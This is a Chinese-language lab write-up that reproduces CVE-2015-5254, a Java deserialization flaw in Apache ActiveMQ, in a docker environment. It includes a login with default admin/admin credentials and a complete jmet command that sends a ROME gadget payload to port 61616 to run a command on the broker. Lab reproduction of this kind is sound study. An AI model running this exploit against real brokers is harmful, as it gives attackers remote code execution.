漏洞描述
- 漏洞编号:CVE-2015-5254
- 影响版本:Apache ActiveMQ 5.13.0之前5.x版本,https://www.cvedetails.com/cve/CVE-2015-5254/
- 漏洞产生原因:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
复现过程
1.启动漏洞docker环境后,看到下面这个页面
2.可以通过输入/amdin弹出登录弹框输入admin admin登录就可以看到版本号
3.使用[jmet]()进行漏洞利用。下载jmet的jar文件,执行下面命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.188.128 61616
4.执行成功之后,此时会给目标ActiveMQ添加一个名为event的队列,可以通过这个地址看到队列中的消息 http://192.168.188.128:8161/admin/browse.jsp?JMSDestination=event
5.点击这条消息,命令被执行 ,此时进入容器`docker-compose exec activemq bash`,可见/tmp/success已成功创建,说明漏洞利用成功
我是参考这个师傅的博客复现的CVE-2015-5254(ActiveMQ反序列化漏洞) - toby123 - 博客园 (cnblogs.com)